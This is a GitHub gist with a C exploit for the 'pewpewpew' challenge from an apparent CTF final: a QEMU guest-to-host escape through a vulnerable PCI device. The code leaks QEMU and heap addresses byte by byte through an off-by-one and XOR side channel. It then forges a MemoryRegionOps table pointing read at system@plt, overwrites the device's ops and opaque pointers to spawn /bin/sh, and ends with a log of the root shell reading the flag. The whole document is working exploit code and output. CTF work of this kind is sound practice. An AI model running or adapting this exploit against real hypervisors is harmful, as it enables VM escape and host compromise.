Skip to content

Instantly share code, notes, and snippets.

@MUWASEC
Last active May 9, 2025 07:57
Show Gist options
  • Save MUWASEC/310f48917d0a441dd7fffa5152f4d3be to your computer and use it in GitHub Desktop.
Save MUWASEC/310f48917d0a441dd7fffa5152f4d3be to your computer and use it in GitHub Desktop.
arkavidia 9.0 2025 finals - pewpewpew
#define _GNU_SOURCE
#include <stddef.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>
#include <sys/prctl.h>
#include "utils.h"
/* GLOBAL VAR */
#define PCI_DRIVER "/sys/devices/pci0000:00/0000:00:02.0/resource0"
#define PAGE_SIZE 0x1000
unsigned char *mmio_mem;
/* chall var */
#define MMIO_OFFSET_SHOT1 0x8
#define MMIO_OFFSET_SHOT2 0x10
#define MMIO_OFFSET_SHOT3 0x18
#define MMIO_OFFSET_SHOT4 0x20
#define MMIO_OFFSET_SHOT5 0x28
#define MMIO_OFFSET_SHOT6 0x30
#define MMIO_OFFSET_SHOT_COUNT 0x38
#define MMIO_OFFSET_PATTERN 0x40
#define MMIO_OFFSET_HITS 0x48
#define MMIO_TRIGGER_FIRE 0x50
void mmio_write(uint32_t flag, uint64_t value) {
*(uint64_t *)(mmio_mem + flag) = value;
}
uint32_t mmio_read(uint32_t flag) {
return *(uint32_t *)(mmio_mem + flag);
}
void set_offset(u64 offset) {
mmio_write(MMIO_OFFSET_PATTERN, offset ^ 0x400); // xor with value s->ctrl.shots[0] or MMIO_OFFSET_SHOT1
mmio_write(MMIO_OFFSET_SHOT1, 0x400); // off-by-one
mmio_write(MMIO_OFFSET_SHOT_COUNT, 1);
/* trigger */
mmio_write(MMIO_TRIGGER_FIRE, 0);
}
u64 read_offset(u64 offset) {
set_offset(offset); // s->ctrl.shots[0]
mmio_write(MMIO_OFFSET_SHOT_COUNT, 1); // set only 1 shop_count
u64 retval = 0; // return value :p
logw("blind read at offset %d", offset);
for (int i = 0; i < 8; i++) {
u16 found_retval_byte=0, hits;
for (u16 ibyte=0; ibyte <= 0xff; ibyte++) {
/* set specific byte value of retval with ibyte in iter/loop offset */
retval &= ~(0xFFUL << (i * 8));
retval |= ((u64)ibyte << (i * 8));
/* xor with retval */
mmio_write(MMIO_OFFSET_PATTERN, retval);
mmio_write(MMIO_TRIGGER_FIRE, 0);
/* get s->hits */
hits = mmio_read(MMIO_OFFSET_HITS);
/* recover/restore the xor value with another xor operation to original value */
mmio_write(MMIO_TRIGGER_FIRE, 0);
/*
if xor'ed value equal it will resulting 0x00 (i mean the principle of xor is like that) thus will not increase/change the s->hits value
but if it's different, after restore the value of s->targets[pos] the value of previous s->hits before and after will be different
here is the example :
case 1:
before :
0xdeadbeef ^ 0xef = 0xdeadbe00
s->hits = 1
after :
0xdeadbe00 ^ 0xef = 0xdeadbeef
s->hits = 1
case 2:
before :
0xdeadbeef ^ 0xaa = 0xdeadbe45
s->hits = 1
after :
0xdeadbe45 ^ 0xaa = 0xdeadbeef
s->hits = 2
*/
if (hits == mmio_read(MMIO_OFFSET_HITS)) {
found_retval_byte = ibyte;
}
}
/* set specific byte value of retval with xbyte in iter/loop offset */
retval &= ~(0xFFUL << (i * 8));
retval |= ((u64)found_retval_byte << (i * 8));
printf("0x%016llx => %02x | %02x\n", retval, found_retval_byte, hits);
}
return retval;
}
int main(int argc, char** argv)
{
/* open pci driver */
int mmio_fd = open(PCI_DRIVER, O_RDWR | O_SYNC);
if (mmio_fd == -1) {
panic("[!] Cannot open driver");
}
/* map pci driver */
mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
panic("[!] mmio error");
}
/* hardcode offset */
u64 OFFSET_mmio_ops = -(0xc8/8);
u64 OFFSET_mmio_opaque = -(0xc0/8);
#ifdef DEBUG
u64 QEMU_system_plt = 0x3306a0;
u64 QEMU_mmio_write = 0x3fa0f1;
u64 QEMU_mmio_ops = 0x11045e0;
u64 QEMU_address_space_memory = 0x1df7c60;
#else
u64 QEMU_system_plt = 0x325050;
u64 QEMU_mmio_write = 0x432f50;
u64 QEMU_mmio_ops = 0x1710a40;
u64 QEMU_address_space_memory = 0x19eaa80;
#endif
/* aslr */
u64 QEMU_base_addr = read_offset(-1) - QEMU_address_space_memory;
QEMU_system_plt += QEMU_base_addr;
QEMU_mmio_write += QEMU_base_addr;
QEMU_mmio_ops += QEMU_base_addr;
QEMU_address_space_memory += QEMU_base_addr;
/* heap */
u64 tql_prev = read_offset(-7);
u64 opaque = tql_prev - 0xbb8;
u64 current_heap_address = tql_prev + 0x40;
logs("((struct LaserState*)opaque)->as = %p", (u64*)QEMU_address_space_memory);
logs("((struct LaserState*)opaque)->mmio.coalesced.tqh_circ.tql_prev = %p", (u64*)tql_prev);
logs("((struct LaserState*)opaque)->targets heap location @ %p", (u64*)current_heap_address);
logs("((struct LaserState*)opaque) heap location @ %p", (u64*)opaque);
logs("QEMU base address = %p", (u64*)QEMU_base_addr);
logw("craft fake struct MemoryRegionOps area");
mmio_write(MMIO_OFFSET_SHOT_COUNT, 1);
logi("\tset *((struct MemoryRegionOps*)((struct LaserState*)opaque)->targets).read = system@plt");
set_offset(0);
mmio_write(MMIO_OFFSET_PATTERN, QEMU_system_plt);
mmio_write(MMIO_TRIGGER_FIRE, 0);
logi("\tset *((struct MemoryRegionOps*)((struct LaserState*)opaque)->targets).write = mmio_write");
set_offset(1);
mmio_write(MMIO_OFFSET_PATTERN, QEMU_mmio_write);
mmio_write(MMIO_TRIGGER_FIRE, 0);
logi("\tset valid->min_access_size=4 & valid->max_access_size=8");
set_offset(5);
mmio_write(MMIO_OFFSET_PATTERN, 0x0000000800000004);
mmio_write(MMIO_TRIGGER_FIRE, 0);
logi("\tset impl->min_access_size=4 & impl->max_access_size=8");
set_offset(8);
mmio_write(MMIO_OFFSET_PATTERN, 0x0000000800000004);
mmio_write(MMIO_TRIGGER_FIRE, 0);
/*
gef> p *(struct MemoryRegionOps*)((struct LaserState*)opaque)->targets
{
read = 0x5555558846a0 <system@plt>,
write = 0x55555594e0f1 <mmio_write>,
read_with_attrs = 0x0,
write_with_attrs = 0x0,
endianness = DEVICE_NATIVE_ENDIAN,
valid = {
min_access_size = 0x4,
max_access_size = 0x8,
unaligned = 0x0,
accepts = 0x0
},
impl = {
min_access_size = 0x4,
max_access_size = 0x8,
unaligned = 0x0
}
}
*/
logi("create fake opaque for $rdi = \"/bin/sh\"");
set_offset(0x100);
mmio_write(MMIO_OFFSET_PATTERN, 0x68732f6e69622f);
mmio_write(MMIO_TRIGGER_FIRE, 0);
logi("overwrite ((struct LaserState*)opaque)->mmio.ops = fake_mmio_ops");
set_offset(OFFSET_mmio_ops);
mmio_write(MMIO_OFFSET_SHOT_COUNT, 1);
mmio_write(MMIO_OFFSET_PATTERN, current_heap_address ^ QEMU_mmio_ops);
mmio_write(MMIO_TRIGGER_FIRE, 0);
logi("overwrite ((struct LaserState*)opaque)->mmio.opaque = fake_opaque");
set_offset(OFFSET_mmio_opaque);
mmio_write(MMIO_OFFSET_PATTERN, (current_heap_address + (0x100*8)) ^ opaque);
mmio_write(MMIO_TRIGGER_FIRE, 0);
logp("spawn system@plt ᕙ( •̀ ᗜ •́ )ᕗ");
mmio_read(0);
return 0;
}
...
starting pid 50, tty '': '/etc/init.d/rcS'
[ 2.802678] mount (51) used greatest stack depth: 14096 bytes left
[ 2.845633] ip (54) used greatest stack depth: 14016 bytes left
starting pid 57, tty '/dev/ttyS0': '/controller'
[ 2.918491] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
[ 7.903479] sleep (60) used greatest stack depth: 13856 bytes left
[!] blind read at offset -1
0x0000000000000080 => 80 | 3f9
0x0000000000000a80 => 0a | 8fa
0x0000000000000a80 => 00 | ff8
0x0000000085000a80 => 85 | 16fb
0x0000005485000a80 => 54 | 20fb
0x00005d5485000a80 => 5d | 2dfd
0x00005d5485000a80 => 00 | 3ff8
0x00005d5485000a80 => 00 | 51f8
[!] blind read at offset -7
0x00000000000000d8 => d8 | 55fc
0x00000000000020d8 => 20 | 5df9
0x0000000000f920d8 => f9 | 66fe
0x00000000a2f920d8 => a2 | 75fb
0x00000054a2f920d8 => 54 | 87fb
0x00005d54a2f920d8 => 5d | 9cfd
0x00005d54a2f920d8 => 00 | b6f8
0x00005d54a2f920d8 => 00 | d0f8
[+] ((struct LaserState*)opaque)->as = 0x5d5485000a80
[+] ((struct LaserState*)opaque)->mmio.coalesced.tqh_circ.tql_prev = 0x5d54a2f920d8
[+] ((struct LaserState*)opaque)->targets heap location @ 0x5d54a2f92118
[+] ((struct LaserState*)opaque) heap location @ 0x5d54a2f91520
[+] QEMU base address = 0x5d5483616000
[!] craft fake struct MemoryRegionOps area
[*] set *((struct MemoryRegionOps*)((struct LaserState*)opaque)->targets).read = system@plt
[*] set *((struct MemoryRegionOps*)((struct LaserState*)opaque)->targets).write = mmio_write
[*] set valid->min_access_size=4 & valid->max_access_size=8
[*] set impl->min_access_size=4 & impl->max_access_size=8
[*] create fake opaque for $rdi = "/bin/sh"
[*] overwrite ((struct LaserState*)opaque)->mmio.ops = fake_mmio_ops
[*] overwrite ((struct LaserState*)opaque)->mmio.opaque = fake_opaque
[o] spawn system@plt ᕙ( •̀ ᗜ •́ )ᕗ$
$ id
uid=0(root) gid=0(root) groups=0(root)
$ ls -la
total 42604
drwxr-xr-x 1 root pwn 4096 May 8 08:39 .
drwxr-xr-x 1 root root 4096 May 8 08:39 ..
-rw-r--r-- 1 root pwn 13136896 May 3 12:28 bzImage
-r--r----- 1 root pwn 16 May 8 08:39 flag-7d27fc1afbc47badd46671af5417757c.txt
-rw-r--r-- 1 root pwn 687859 May 3 12:28 initramfs.cpio.gz
-rwxr-xr-x 1 root pwn 29765784 May 3 09:56 qemu-system-x86_64
-rwxr-xr-x 1 root pwn 45 May 3 12:47 run.sh
-rw-r--r-- 1 root pwn 1316 May 3 12:34 server.py
$ cat flag-7d27fc1afbc47badd46671af5417757c.txt
FLAG{FAKE_FLAG}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment